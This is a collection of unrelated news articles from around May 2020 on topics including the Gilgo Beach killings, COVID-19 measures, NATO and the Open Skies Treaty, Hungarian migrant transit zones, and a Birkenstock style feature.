The unexpected announcement on Friday came four months after police released images of a black leather belt that found at the crime scene, pictured, branded with WH or HM

The technology has now led to the identification of one of the victims, according to Fridays statement.

The police announcement comes 10 years after a search for Shannan Gilbert, 24, led to the grisly discovery of 10 sets of human remains.

Gilbert, a 24-year-old sex worker, went missing in 2010 several miles from Gilgo Beach after leaving a client's house on foot and disappearing into the marsh.

Months later, a police officer and his cadaver dog were looking for her body in the thicket along Ocean Parkway when they happened upon the remains of a different woman in December 2010.

Within days, three other bodies were found, all within a short walk of one another.

Suffolk County police announced on Friday that they have identified Jane Doe #6

No further discoveries were made from December 2010 until March 2011 when a second wave of gruesome finds began.

By spring 2011, the number of bodies had climbed to 10 sets of human remains - those of eight women, one Asian man and one toddler - all found along several miles of parkway.

The Asian man, who authorities said was dressed in women's clothing, was found in March 2011.

Police believe the toddler was the child of one of the victims, but the girl and mother were found in two different areas. The toddler was found on April 4, 2011.

The first four bodies found were those of women in their 20s who worked as prostitutes, according to police.

Maureen Brainard Barnes, 25, went missing on July 9, 2007. Her remains were found on December 13, 2010.

Megan Waterman, 22, who had a daughter, went missing on June 6, 2010. Her body was also found on December 13, 2010.

The remains of eight of the 8 victims were found along this section on Gilgo Beach

An aerial view of the area near Gilgo Beach and Ocean Parkway on Long Island where police found the remains in 2010 and 2011 as they searched for missing sex worker Shannen Gilbert

The remains of Melissa Barthelemy, 24, who had been living in the Bronx at the time, and Amber Lynn Costello, 27, were also found on December 13, 2010.

Barthelemy's body was the first to be found. She went missing on July 12, 2009. Costello disappeared on September 2, 2010.

Police began to find the second set of bodies from March 2011, after they discovered the skull of a 20-year-old prostitute identified as Jessica Taylor on March 29.

Her remains were later linked to dismembered body parts found elsewhere on Long Island, making for a puzzling crime scene that stretched from a park near the New York City limits to a resort community on Fire Island and out to far eastern Long Island.

Most of the rest of her body was previously found in a wooded area of Manorville shortly after she disappeared in July 2003.

Five more remains were discovered at Gilgo Beach over the next two weeks.

Other body parts found on Gilgo Beach at this time were also linked to another corpse found in Manorville in 2000, that of the female victim who has now been identified.

Police believe the bodies found in 2011 predate those discovered in December 2010.

No arrests were made in any of their deaths.

Gilbert's body was later found in the marsh in the community of Oak Beach in December 2011, about three miles east of where the other 10 sets were discovered.

Police have long maintained that Gilbert's death was accidental and exclude her from the 10 other bodies found during the case.

They said at the time that she drowned in a drug-induced haze after wandering into the wetland, but her relatives have long disputed that determination.

An independent autopsy results commissioned by Gilbert's mother indicated she too may have been strangled like the other victims.

In one of the more unusual twists in the saga, Gilbert's mother, Mari, was murdered last year by another daughter, Sarra, in her upstate New York home.

Police searching the wooded area near where the bodies were found in April 2011

In talking about the bodies near Gilgo Beach, investigators have said several times over the years it is unlikely one person killed all the victims.

Last September, New York state officials determined that investigators could use the scientific technology in the Gilgo case.

The technology hasn't been approved in the state, but it has helped authorities in other states identify notorious murderers such as the Golden State Killer.

The investigation had been dormant, at least publicly, for years until the belt evidence was revealed in January.

Authorities also launched a website exclusively for the investigation called GilgoNews.com. The public can submit anonymous tips and stay updated on information regarding the case on the website.

The victims name will be released through the site, police say.
NATO ambassadors are meeting Friday to weigh US plans to withdraw from an international treaty allowing short-notice observation flights over more than 30 countries, amid concerns that Russia is violating the pact.

President Donald Trump said Thursday that Russian violations make it untenable to stay in the Open Skies Treaty.

Washington has signalled that it will pull out in six months, although Trump hinted that he might reconsider the decision.

The treaty came into force in 2002.

It was meant to promote trust between the United States and Russia by allowing signatories to conduct reconnaissance flights over each other's territories to collect information about military forces and activities.

Already in 2018, NATO leaders expressed concern about Russia's ongoing selective implementation of the treaty and other conventional arms control pacts.

In particular, we are concerned that Russia has restricted flights over certain areas, a NATO official said Friday.

European nations have conducted most of the flights which often take place over Russia and Belarus and some of them are urging the United States to stay in it.

German Foreign Minister Heiko Maas said he regrets the US decision to abandon a treaty that contributes to security and peace in practically the entire northern hemisphere, and he also urged Russia to start respecting it again.

We see that there were indeed difficulties in the implementation of the treaty on Russia's side in recent years, Maas said in a statement.

But from our point of view, this does not justify a withdrawal.

He said his counterparts in Britain, France, and Poland have repeatedly made this clear to Washington, and that Germany will work intensively in this time with our like-minded partners for the US to reconsider its decision.

Last year, Trump pulled the United States by far the biggest and most influential of the 30 NATO member countries out of the Intermediate-Range Nuclear Forces treaty that it agreed in 1987 with the Soviet Union, blaming Moscow for developing a missile that does not comply with it.

Russian Deputy Foreign Minister Alexander Grushko has criticized the latest U.S. move.

The withdrawal of the US from this treaty will come as yet another blow to the system of military security in Europe, which is already weakened by the previous moves by the administration, Grushko told state agency Tass.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
The British discount pub chain JD Wetherspoon says it wont push to reopen in Ireland before August 10, putting it at odds with the two main publican groups here.

Wetherspoons - which has often drawn the ire of domestic pubs with its cut-price and high-volume business model - says it wont attempt to reopen on June 29. That is the date set by Government for restaurants to reopen, while pubs are supposed to wait until August 10.

Both publican groups here - the Vintners Federation of Irelands 4,000 pubs nationwide and the Licensed Vintners Associations 750 pubs concentrated in Dublin  say most of their members have restaurant licenses and should be free to resume table-only service on June 29.

But Wetherspoons told Independent.ie that its seven pubs here will reopen only when the Irish Government says they can.

When asked if Wetherspoon outlets here were taking active steps now to reopen on June 29, a spokesman said its seven Irish pubs will open on August 10th, not before that date.

The UK chain made the disclosure as it published its group-wide tactics for reopening safely. Its plan involves 11m (12m) investment across its 875 outlets in Britain and Ireland - but makes no mention of adhering to a minimum two-metre distance between patrons.

Unlike in Ireland, the British government has not specified a date when pubs can reopen, though sometime in July is considered likely.

The Wetherspoon plan says each pub will hire at least two extra staff to roam the premises disinfecting tables, door handles and other points of customer contact

Bottles of ketchup, mayonnaise, mustard and vinegar will be banned from tables, replaced by throwaway sachets. Drinks will be served on trays.

Tables that cannot be spaced apart will be separated using polycarbonate shields, as will the tills.

And Wetherspoon  which unlike most pubs already has numbered tables for service and an app for viewing menus and placing orders electronically  will encourage all customers to order using this method. The menu will be pared down to facilitate in-app orders, it says.

Staff will be supplied gloves, masks and protective eyewear, but employees can elect whether to wear them or not, subject to government guidelines, the company said.

Floors will be marked to direct one-way footfall, with separate doors to enter and exit the premises

When staff report for duty, Wetherspoon says they will need to complete and sign a daily health assessment questionnaire to confirm that they are fit to work. This will include having their temperature taken using a digital thermometer.

The plan says: Dedicated staff will monitor the pub at all times in order to maintain social distancing standards."

But it offers no detail on how this will be enforced and makes no explicit mention of maintaining at least two metres distance between customers.
Nursing homes and other long-term care facilities in New Jersey will share $170 million from the Trump administration to hire more employees, buy protective equipment and testing supplies and staunch the financial losses created by the coronavirus pandemic.

Each long-term care facility in New Jersey will receive $50,000 plus $2,500 per licensed bed, according to the announcement Friday Secretary Alex Azar, secretary for the U.S. Department of Health and Human Services.

This funding secured by President Trump will help nursing homes keep the seniors they care for safe during the COVID-19 pandemic, according to Azars announcement. The Trump administration is providing every resource we can, from funding and direct PPE shipments to regulatory flexibility and infection control consultations, to protect seniors in nursing homes and those who care for them.

CORONAVIRUS RESOURCES: Live map tracker | Newsletter | Homepage

By any measure, long-term care facilities have suffered the most losses in the pandemic. The virus has been detected in 524 of the 678 nursing homes, assisted living facilities, veterans homes and other group settings for elderly and infirm people in New Jersey.

An estimated 5,456 long-term care residents have died from the coronavirus based on suspected cases and those who were tested for COVID-19 before death. They compromise 4,665 or 42 percent of all 10,985 deaths lab-confirmed fatalities in the state, according to the Department of Health.

The inadequate supply of N95 respirators, gowns, masks, gloves and face shields is a leading culprit behind the spread of the disease, according to front-line employees, labor unions and public health experts. Workers say they are required to reuse soiled equipment and have even worn trash bags and table cloths for protection.

Gov. Phil Murphy on Thursday said despite the states relentless efforts to acquire 40 million pieces of personal protective equipment or PPE  23 million pieces for long-term care facilities alone  a shortage still persists.

We do not still have enough PPE as we sit here in the state of New Jersey, and as a nation. We started at a deficit and had to cobble this together with band aids, paper clips, and with a global assault, on getting more PPE," the governor said.

An NJ Advance Media investigation this week into the Murphy administrations response to the outbreak found the state failed to react fast enough or take forceful, aggressive actions to slow the rampage in nursing homes as the virus preyed on the states most vulnerable patients, according to more than a dozen public health experts, industry officials, family members and advocates.

The state did not announce universal testing for all nursing home residents and employees until May 12, later than eight other states, according to the report. The state delayed on-site inspections of long-term care facilities until mid-April, after reports surfaced that one nursing home was storing 17 bodies in a makeshift morgue. Health inspectors lacked adequate PPE, Health Commissioner Judy Persichilli said explaining the delay.

Nursing home operators claimed hospitals received priority treatment for supplies and staff in the first six weeks of the outbreak, the report found.

Cathy Bennett, president and CEO of the New Jersey Hospital Association, which also represents long-term care facilities, called the federal aid critical to addressing some of the priority areas for protecting residents and staff.

In addition to supplies, the money may be spent on technology, Bennett said, such as the devices needed to help residents and loved ones remain connected during social distancing, and physical plant investments needed to create negative pressure rooms or building modifications to cohort patients and prevent transmission.

The American Health Care Association and National Center for Assisted Living, representing more than 14,000 long-term care facilities, applauded the funding announcement.

We are working around the clock to protect the people who are most vulnerable to COVID-19. That work makes this funding more important than ever," the organizations statement said.

Long term care facilities appreciate the administrations support in prioritizing long term care residents. We need everyone around the country to rally around nursing homes and assisted living communities the same way they have around hospitals," the associations statement said.



Local journalism needs your support. Subscribe at nj.com/supporter.

Susan K. Livio may be reached at slivio@njadvancemedia.com. Follow her on Twitter @SusanKLivio.
President Donald Trump abruptly announced Friday that houses of worship like churches, synagogues and mosques are to be considered "essential" while calling on governors to open them as early as this weekend.

"Some governors have deemed liquor stores and abortion clinics as essential, but have left out churches and other houses of worship, it's not right," Trump said during a short statement at the White House. "So I'm correcting this injustice and calling houses of worship essential. I call upon governors to allow our churches and places of worship to open right now.

President Trump is calling for houses of worship to open across the country immediately after deeming them as

"The governors need to do the right thing and allow these very important, essential places of faith to open right now, for this weekend. If they don't do it I will override the governors. In America we need more prayer, not less."

White House press secretary Kayleigh McEnany also announced that the Centers for Disease Control and Prevention would be releasing detailed safety recommendations for houses of worship that are reopening. The since-released guidance for communities of faith includes encouraging congregants and staff to social distance, wear face coverings, practice good hand hygiene and limit the sharing of worship materials.

"The information offered is non-binding public health guidance for consideration only; it is not meant to regulate or prescribe standards for interactions of faith communities in houses of worship. Any decision to modify specific religious rites, rituals, and services should be made by religious leaders," the CDC wrote.

McEnany did not specify the exact legal power that Trump would have to override governors' orders to keep houses of worship closed, just saying Trump would "strongly encourage every governor to allow their churches to reopen."

Dr. Deborah Birx from the White House's coronavirus task force also briefly addressed Trump's statement about houses of worship reopening immediately.

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"I think each one of the leaders of the faith community should be in touch with their local health department so that they can communicate with their congregants," Birx said at the press conference.

She also suggested maintaining the social distancing policy that has been continually reinforced by health experts.

"There is a way to social distance in places of worship," she said. "I think what we're trying to say with the CDC guidance is there's a way for us to work together to have social distancing and safety for people so that we decrease the amount of exposure that anyone would have to an asymptomatic (carrier)."

Birx suggested that any churchgoers who may have higher risk factors like age or underlying conditions might want to wait a week to return to a house of worship.

Reopening churches has become a divisive topic as health officials continue to warn against large gatherings of people indoors to prevent the spread of COVID-19.

A Mississippi church that was fighting coronavirus restrictions against in-person services was burned down on Wednesday and investigators found graffiti in the church parking lot that read, Bet you stay home now you hypokrits."

In Minnesota, the state's Catholic bishops and the Lutheran Church-Missouri Synod announced earlier this week that they would not follow the governor's safety restrictions for houses of worship, which call for limiting attendance to 10 people, according to the Minneapolis Star-Tribune. The Catholic and Lutheran groups said they were going to allow their churches to be filled to one-third capacity starting Tuesday.
Source: Xinhua| 2020-05-22 10:00:08|Editor: huaxia

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NAIROBI, May 21 (Xinhua) -- Kenya is intensifying efforts in their hunt for dopers and has launched an intelligence unit to aid their goal to curb the spike in the use of performance-enhancing drugs.

With more than 60 cheats nabbed in the last five years, Kenya risks being banned from the Olympic Games for doping.

Moreover, it will become harder for the elite runners to secure international races, with critics bent on tainting their names.

Japhter Rugut, the chief executive of the Anti-Doping Agency of Kenya (ADAK), said the intelligence unit is tasked with making follow-ups on all those athletes and non-athletes involved in aiding and abetting doping.

"We have launched an intelligence unit to follow up on these links and apprehend the dopers and those who aide them. Supplements are a very dicey affair as they may contain prohibited substances," Rugut said on Thursday in Nairobi.

"We have no guarantee of the contents and the best we can do is to advise athletes against their usage."

Kenya's Chief de Mission for the Tokyo Olympic Games, Waithaka Kioni, however, warned that they need a big budget to run tests as required and test at least three times, out-of-competition, prior to going to the Olympic Games.

"We were worried about the late disbursement of funds by the government to run tests on samples taken from athletes. But the postponement of the Olympics has given us ample time to do it and we will attain our goal," said Kioni.

Kenya has set aside 7.5 million shillings (about 71,000 U.S. dollars) for the testing of its Olympic Games team.

"I encourage athletes to remain clean, they have more to lose than gain when they dope. Moreover, legislation is being prepared for approval in the Kenya Parliament. It will criminalize doping and cheats will be liable for prosecution and jail," said Kioni.

Former World Steeplechase champion Milcah Chemos urged her fellow athletes not to fear being tested, especially when they know they are clean.

"Athletes need not fear to interact with anti-doping officers whenever they visit them. On the flip side, they are here to help us understand and know what to avoid so as to remain clean," said Chemos. Enditem
In mitigating the impact of the COVID19 crisis, the federal government swiftly responded with economy-wide measures as part of its immediate relief. It is in this roll out of the Canada Emergency Response Benefit (CERB) and the Canadian Emergency Wage Subsidy (CEWS) that officials discovered the many gaps in addressing the labour force in the artsthe artist. More than the employment of the labour, it was what constituted their income that became the challenge and eluded the fit for an artist.  Georgia Strait
New Delhi, May 22 : Union Minister Jitendra Singh on Friday said post-COVID India will emerge more confident and gain esteem in the world arena.

Jitendra Singh emphasized that he is confident that six months from now, the world will look up to India with respect and seek to engage with it.

Not only this, he said, India will also emerge as a safe destination for business and trade.

The Minister also observed that early lockdown announced by Prime Minister Narendra Modi had helped India to train itself for the new norms of post-COVID world.

Singh, who is also in-charge of north-eastern region, which usually depends on tourism, said the region will regain and may start attracting tourists from Europe and other western countries.

He said that while most of the tourist resorts in those countries have been heavily affected by corona, it is the north-eastern region of India which remains relatively corona-free and some of the most popular tourist destinations like Sikkim did not have even a single corona positive case throughout.

Alluding to business and trade, Jitendra Singh said this is an opportunity for India to give impetus to its 'Make in India' mission.

When asked about the recent domicile notification issued for the Union Territory of Jammu & Kashmir, Dr Jitendra Singh said this is an extension of the process which started on Aug 5, last year and is now reaching its logical conclusion. The future generations, he said, will realize the positive outcomes of the decision.
Photo credit: Birkenstock; Instagram @jeanneyangstyle

From Men's Health

When it comes to experimenting with style choices, every man has his limits. Trends like fanny packs, clunky dad sneakers, and rompers for menthat one still has us shookare embraced by some and scoffed at by most. Truth is, we men know what we like, and in terms of style, we know whats a safe bet.

However, on the ever-so-rare occasion, a new accessory comes along or a new trend gains momentum that piques our interest. Yes, trying to figure out how to wear something and when to wear it can be too intimidating for most men to take the plunge. As a style editor who welcomes new trends and is rarely intimidated to dress outside my comfort zone, even I drew the line at Birkenstock sandals and clogs.

Growing up in New York City, Ive always had an aversion to mandals. Can you imagine how many germs can reach your toes when pounding the pavement of dirty city streets? Because I can. And when I did finally shake my germaphobia, I opted for a sleek, minimalist sandal, not the footwear I associate with crunchy, granola folks who enthusiastically recall stories of Woodstock.

Somehow, some way, over 50 years since the first Birkenstock sandal was produced, I surprisingly find myself googling images of the Arizona and Boston style. So, what drives a man to question his sartorial choices? For one, Birkenstocks have slowly but surely gained popularity over the past two decades. The New York Times reported college kids embracing the footwear brand back in 2006, while The Wall Street Journal debated Birkenstocks cool factor in 2015, and The Financial Times even dared to call them sexy this past summer. Even on the fashion runways, extra-orthopedic sandals were dubbed a top trend for men this summer. Sure, this kind of built-up ethos can sway a mans opinions, but what really changed my mind was one photo of Jason Momoa looking effortlessly cool in pair of Birkenstocks Boston clogs.

Momoas unshakable confidence and bold style choices could inspire any guy to unapologetically peacock with a fresh look, but as weve seen with his style evolution morph over the years, the Aquaman actors best looks can be credited to his collaboration with Jeanne Yang, veteran celebrity stylist to A-List actors like Robert Downey Jr., Keanu Reeves, Christian Bale, and Collin Farrell. So, when I saw this simple-yet-elegant Birkenstock look Yang styled Momoa in last year, I knew she would be the perfect style savant to discuss all things Birkenstocks with. Exceeding my expectations to finally answer the simple question Are Birkenstocks cool?, Yang revealed the one thing all men should do when embracing a style decision outside of their comfort zone that can have you channelling the cool confidence of Hollywoods most stylish men.

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Are Birkenstocks Cool?

Birkenstocks are not a trend, theyre a style staple. Theres something interesting to the way the company straddles between cool and comfortable and its really rare, says Yang. To me, Birkenstocks are like the Stan Smith. This is something that for the rest of your life you can wear and you never have to worry about it going out of style. When you do a closet clean out, you wont think of tossing them, youll think of getting a new conditioning kit, because its still cool and always will be. Both Momoa and Yang are longtime fans of Birkenstock. In fact, Momoas whole family wears Birkenstocks.

When styling Momoa, both for his appearance on The Ellen DeGeneres Show (when he wore Birkenstocks) and other events, its a true collaboration. Jason is who Jason is, says Yang. Hes always his genuine, authentic self. Instead of just pulling outfits for a specific event, Yang will curate a capsule of separates each season for Momoa to donlike the dirty pink sweater from The Row that Yang bought a few months prior, before Momoa wore it with white Tom Ford jeans and Birkenstock Boston clogs.

So when Momoa was planning on surprising two lucky people on Ellens "Greatest Night of Giveaways" episode in December 2019, the duo wanted Momoa to look like his casual, cool self, but slightly more dressed up for this appearance. After debating between flip-flops, which felt too casual, and rugged boots, which felt too serious, Yang settled on her and Momoas go-to comfortable shoes.

Jason Momoa, I couldnt possibly love you more. Thank you for helping Brian and Sofia. #EllensGreatestNight pic.twitter.com/gGAPlu7j1l  Ellen DeGeneres (@TheEllenShow) December 13, 2019

Hes essentially playing Santa to this family and the Birkenstocks were the perfect touchyou know, the suede Bostons, says Yang. Because theres a warmth to them, theyre comfortable, and he was giving a gift to a family in need. It was one of those situations where he wanted to feel natural and comfortable and those Birkenstocks were perfect thing to create that soft and comfortable warm feeling.

The key to Birkenstock's cool factor is their unmatched comfort and ease. Yang compares the growing interest in Birkenstocks to the trajectory of sneakers, having made their way from casual to red-carpet approved.

I remember years ago when I dressed Robert Downey, Jr. for the Oscars red carpet in a tuxedo and a pair of Lanvin sneakers and it was thought to be this crazy thing, says Yang. Sneakers have become a huge part of peoples lives [outside of performance wear] and I think its not necessarily the sneaker, its about the comfort level. I think the next iteration is someone who wants to have that feeling of comfort, but wants to show more personality.

How to Wear Birkenstocks

If theres one thing we can all agree on, its that a pair of Birkenstocks carry a punch of personality. However, Yang suggests there are multiple ways to wear it if the bohemian chic look isnt your cup of tea. Whether youre going for a California-cool vibe or want to add a relaxed feel to your preppy garb, just make sure your pants balance out the width of your Birkenstocks.

Because Birkenstocks have a wider last, I would avoid wearing a pant thats too slim with it, says Yang. It's a real juxtaposition and might be too significant seeing the width of the shoe with the narrowness of the pant leg. Generally speaking, it is a little bit more of a relaxed shoe, but if youre going to dress them up, go with a fresh pair of Birkenstocks in a rich texture, like suede.

Yang recommends strappy Arizona sandals for a summer shorts outfit and the Boston clogs to pair with a longer pant. Momoas suede Boston clogs provided the perfect textural mix when paired with his white denim jeans and soft pink sweaterit elevates his look, without making it look too forced. Isnt that what every guy wants to look like? Cool, confident, and expensive.

Confidence Is Key to Wearing Birkenstocks

You might be sold on the comfort and style of Birkenstocks, but if youre not sure you can pull off the look, all you have to do is look to yourself for the answer (and a few friends.)

From my post, I had people saying Jeanne, lets be honest, he can wear anything and I say Yeah, youre totally right, but I think sometimes taking that picture and having a friend say to you Oh my God, you look amazing! Go for it! is importantthats what these celebrities get, says Yang. They get confidence from stylists, groomers, publicists, agents, and to have four or five people give a little sense of yeah, you look good, it makes a big difference.

While millennials and the Gen Z crowd feel more comfortable taking selfies, older men might feel silly taking photos of themselves, but Yang encourages men to take pictures or even take a good look in the mirror to see their own reaction. If you looked pained in the face, youre not going to fool anyone, but if the photo or your reflection makes you look comfortable and happy, you can wear anything.

I think its really about how comfortable they are, says Yang of celebrities confidence on a red carpet. If you look at Julianne Moore or Charlize Theron, all these ladies wear Birkenstocks all the time, because theyre comfortable and you can wear them with anything. It kinda conveys a feel of cool. Youre just like oh yeahtheres this sort of underlining hipness to them.

A smirk and some swagger goes a long way for confidence that translates to how you carry this new look. And when in doubt, find yourself a cheerleader.

I holy profess the importance of getting cheerleaders, says Yang. Its just like sports without cheerleaders, without crowds, without the audience. You want the reassurance of people and that is a big confidence booster.

As I wrapped up my conversation with Yang, she assured me that I wouldnt regret my choice in purchasing Birkenstock Boston clogs. Though she did warn me that I might curse her for cheerleading this purchase.

The real problem I find is, once people try a pair, they never want to take them off or wear another shoe, says Yang. Its not about trying to get someone into Birkenstocks, its about trying to get someone to take them off.

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The Government has approved the deployment of up to three Permanent Defence Force personnel to a new EU operation in the Mediterranean.

Codenamed Operation Irini, the plan will not see an Irish naval vessel deployed but it does provide for the possible future deployment of up to two Permanent Defence Force personnel to the Force Headquarters at sea.

In the memorandum for Cabinet, ministers were told that Operation Irini follows on from Operation Sophia and has been established with the core task of contributing to preventing arms trafficking within its agreed area of operation in the Mediterranean.

Operation Sophia officially closed on 31st March 2020 following a number of technical rollovers of the operation mandate between September 2018 and March 2020 in light of the ongoing lack of agreement around disembarkation and redistribution of migrants rescued at sea, Defence Minister Paul Kehoe told Cabinet

At present the Defence Forces have two personnel deployed to the Operational Headquarters of Operation Sophia in Rome.

The pair are currently engaged in administrative activities to close out Operation Sophia. Our existing contributions of up to 3 personnel to the HQ in Rome will be maintained under the new Operation Irini.

The Defence Forces had previously provided two personnel to the Force Headquarters located at sea on an Italian Naval Vessel. Subject to the availability of the requisite personnel, it is proposed that Ireland may also fill up to 2 appointments in the Force Headquarters of the new mission, the memo states.

Should migrants be rescued, an arrangement is in place where a Member State will volunteer a port of disembarkation and rescued migrants will be distributed in accordance with pre-declared pledges made by those Member States who have a ship deployed in the mission and by other MS who voluntarily participate, it adds.

It is not proposed to deploy an Irish Naval Vessel to the operation at this time, it concluded.

The matter was approved by Cabinet on Friday.
Forty per cent of people in England believe China may have purposely created the coronavirus as a bio-weapon to destroy the west, research suggests.

Psychologists quizzed 2,500 adults across the country about Covid-19 conspiracy theories, such as the bogus claim 5G is to blame for its rapid spread.

Only 55 per cent of the respondents disagreed with the claim that Beijing officials manufactured the lethal virus to attack the UK, US and Europe.

One in 20 people  or 5.5 per cent  agreed with the statement entirely, according to the study carried out by Oxford University experts.

China has repeatedly fended off accusations that the coronavirus was created in a lab in the city of Wuhan, where the pandemic began in December.

And World Health Organization officials have disputed the claims multiple times, saying there is no evidence the new coronavirus was created in a laboratory.

Psychologists quizzed 2,500 adults across the country about Covid-19 conspiracy theories, such as the bogus claim 5G is to blame for its rapid spread

Beijing health authorities have insisted the virus almost certainly came from an animal in Huanan market in Wuhan.

They said it was only a matter of time before they identified the crossover species behind transmission from bats to humans.

But US President Donald Trump fueled concerns this month when he suggested that the coronavirus was the result of a 'horrible mistake' made by China.

His fiery remarks came hours after Secretary of State Mike Pompeo said there was a 'significant amount of evidence' the disease had escaped.

US officials believe China intentionally concealed the severity of the pandemic  which has now killed more than 330,000 people - in early January and hoarded medical supplies.

The Oxford survey also revealed that more than a fifth of people in England believe the coronavirus that has killed tens of thousands of Britons is a hoax.

Twenty-one per cent of respondents claimed they thought the virus was fake, and 62 per cent admitted they thought the virus was man-made.

LANDMARK STUDY SUGGESTS COVID-19 DID NOT COME FROM A WET MARKET Chinas claims the Covid-19 pandemic emerged from a wild animal market in Wuhan last December were challenged by a landmark study last week. The Mail on Sunday revealed analysis of the virus by specialist biologists suggested it was taken into the market by someone already infected. They also said they were surprised to find the virus was already pre-adapted to human transmission. The explosive claim came as Beijing thwarted global efforts to establish the source of the virus. The news fuelled concerns over the Communist regimes cover-up since the disease emerged last year in the central Chinese city. Beijing health authorities have insisted the virus almost certainly came from an animal in Huanan market in Wuhan. They said it was only a matter of time before they identified the crossover species behind transmission from bats to humans. The World Health Organization quickly backed its claims. Advertisement

The poll also found almost three fifths of adults believe to some extent that the government is misleading the public about the cause of the virus.

While 79 per cent said they did not agree that coronavirus is caused by 5G and is a form of radiation poisoning transmitted through radio waves.

More than one fifth of those questioned said they do not agree the virus is naturally occurring, and 75 per cent did not agree that celebrities are being paid to say they have Covid-19.

The research  a representative online survey of 2,500 adults carried out between May 4-11  was published in the journal Psychological Medicine.

It showed people who believe coronavirus conspiracies are less likely to comply with social-distancing guidelines or take up future vaccines.

The team wrote such ideas were also associated with general anti-vaxx sentiments and climate change conspiracy beliefs.

Lead researcher Professor Daniel Freeman said: 'Those who believe in conspiracy theories are less likely to follow government guidance.

'Those who believe in conspiracy theories also say that they are less likely to accept a vaccination, take a diagnostic test, or wear a face mask.'

It comes as police were forced to break up a street party of more than 100 people in a cramped cul-de-sac this week - as one reveller asked 'Is Covid-19 even real?'

Shocking bodycam footage captured dozens of Britons as they flouted lockdown rules by mingling in a street in Birmingham to enjoy a barbecue and blaring music.

The gathering involved families and young children standing 'shoulder-to-shoulder' despite nationwide restrictions on meetings.

In the clip, an officer is heard asking the crowd whether 'everyone is enjoying themselves', before he immediately tells partygoers they need to leave the area.

'This is a gathering that cannot happen under the current Covid-19 legislation and restrictions,' he said.

As he continues to ask revellers to return home, a woman asks 'is Covid-19 real?' before explaining she isn't sure because she 'hasn't had it.'
Associated Press

Accusing the United States of hostility and threats, North Korea on Thursday said it will consider restarting all temporally-suspended activities it had paused during its diplomacy with the Trump administration, in an apparent threat to resume testing of nuclear explosives and long-range missiles. Officials gave instructions to reconsider in an overall scale the trust-building measures that we took on our own initiative  and to promptly examine the issue of restarting all temporally-suspended activities, the KCNA said. Experts say Kim is reviving an old playbook of brinkmanship to extract concessions from Washington and neighbors as he grapples with a decaying economy crippled by the pandemic, mismanagement and U.S.-led sanctions over his nuclear ambitions.
Hungary shut its migrant transit zones on its borders on Thursday, freeing some 300 refugees from prison-like conditions  while at the same time hardening rules that will effectively bar future asylum applicants.

During the peak of Europes 2015 migration crisis, Prime Minister Viktor Orban ordered Hungarys southern border with Serbia and Croatia to be sealed, blocking a route for hundreds of thousands of migrants.

Some have been stuck in the transit zones, areas of several hundred square metres on the border between Hungary and Serbia with shipping containers for lodging and surrounded by heavily-guarded barbed wire perimeters, for a year or more.

The zones, which are the subject of international lawsuits and have been criticised by human rights groups, were emptied after a European Union court ruled the practice unlawful, Orbans chief of staff Gergely Gulyas said.





Under amendments passed in 2018, Hungary has been automatically rejecting asylum applications from those who have passed through a safe transit country, in this case Serbia.

Human rights groups said the migrants, who are mainly from the Middle East, were moved to other facilities after the top EU court ruled last week that two Afghans and two Iranians had effectively been detained and should be released.

The Hungarian government disagrees with the ruling, we consider it a risk to European security, but as an EU member state, we will honour all court rulings, Gulyas said.

The transit zone was a solution that protected Hungarys borders, and the European Court of Justices [ECJs] ruling in this case was unfortunate, Gulyas told reporters.

Government spokesman Zoltan Kovacs wrote in a blog post that future asylum applications would have to be submitted at consulates in neighbouring countries.

Consulates can reject asylum requests without allowing applicants any access to their territory, a violation of the Geneva Conventions, Helsinki Committee spokesman Zsolt Zadori said.

So these 300 are better off now, but potential asylum seekers are a lot worse off, he said. They can expect virtually no shelter from Hungary amid their persecution.





The Hungarian Helsinki Committee, which sued Budapest over the zones, welcomed their closure but said that it would now be even harder for refugees to gain asylum in the EU via Hungary.

The committee represented Iranian and Afghan families, detained for more than a year at the Roszke transit zone after their asylum applications were refused, in a case brought before the Luxembourg-based ECJ.

In its ruling, the ECJ said people could not be detained in the camps without their cases being examined individually and that they could not be held for more than four weeks.

Last year, the European Commission warned that conditions in the camps violated EU human rights legislation.

Hungary has argued that those in the camps could have left the transit zone in the direction of Serbia, but Serbia has refused to readmit them.

Kovacs said the government interpreted the Geneva Conventions differently than other members of the EU.

Hungary is surrounded by safe countries, he said.

The Geneva Conventions stipulate refugees must apply for asylum in the first safe country. Nothing guarantees the right to choose where to apply, while breaking the law as an illegal migrant to boot.
Chandigarh, May 22 : To attract foreign investments post-coronavirus, Haryana State Industrial and Infrastructure Development Corporation Limited (HSIIDC) said a new policy was on the anvil for allotment of industrial plots on leasehold on a first-come, first-served basis.

Under this policy, any company having at least one manufacturing facility abroad that commenced production as on January 1 for at least one year is eligible to apply, an official said on Friday.

A decision in this regard was taken at a meeting chaired by the HSIIDC Chairman Rajesh Khullar here on Thursday.

Khullar said this policy would entail investors to operate on land taken on lease without any capital investment initially. Later, they can convert it to a freehold asset, subject to certain terms and conditions.

The initiative to cut down the cost of doing business has been formulated in view of inputs shared by investors, said the official.

The HSIIDC has approved allotment of 1.8 acres in Faridabad city for a mega project for manufacture of auto components with a proposed investment of Rs 109.46 crore.
The mother of Colin R. Yurick says she cant understand how hes alive after suffering major internal injuries in a police shooting in New York State.

Vicki Yurick said she hasnt been able to see her son, who was shot by an officer trying to help him hours after he allegedly fired an airgun at three people at a gas station outside Bethlehem.

Its her understanding that Colin Yurick didnt know where he was when talking with the officer in New York, or why he was there.

We dont believe he knows any of what has happened and no one will be more mortified than he when he does, as hes a kind caring man, Vicki Yurick told lehighvalleylive.com via Facebook direct message.

Colin Yurick, 29, of Brighton, Michigan, allegedly fired a pellet gun at three people about 6:40 p.m. May 13 outside the Sunoco gas station at 4440 Easton Ave. in Bethlehem Township. One victim was shot four times, resulting in large welts with extensive bruising, and two vehicles were damaged, police said.

Yurick allegedly then drove to Vestal in New Yorks Southern Tier. Details released Friday to lehighvalleylive.com by Vestal police said Yurick stopped the black BMW he was driving on the passing lane side of westbound Route 17, leading police to respond to the report of a disabled vehicle.

"During the conversation and without warning, the individual pulled a handgun up from his side," Vestal police say. "The officer fired his weapon and moved to a safe position, calling for assistance."

Yurick then closed his door and did not respond to police as negotiators tried for nearly three hours to get him to come out of the vehicle voluntarily, according to police. He was taken into custody about 12:45 a.m. May 14 and taken to the hospital for treatment of two gunshot wounds, police said.

No one else was injured during the New York incident.

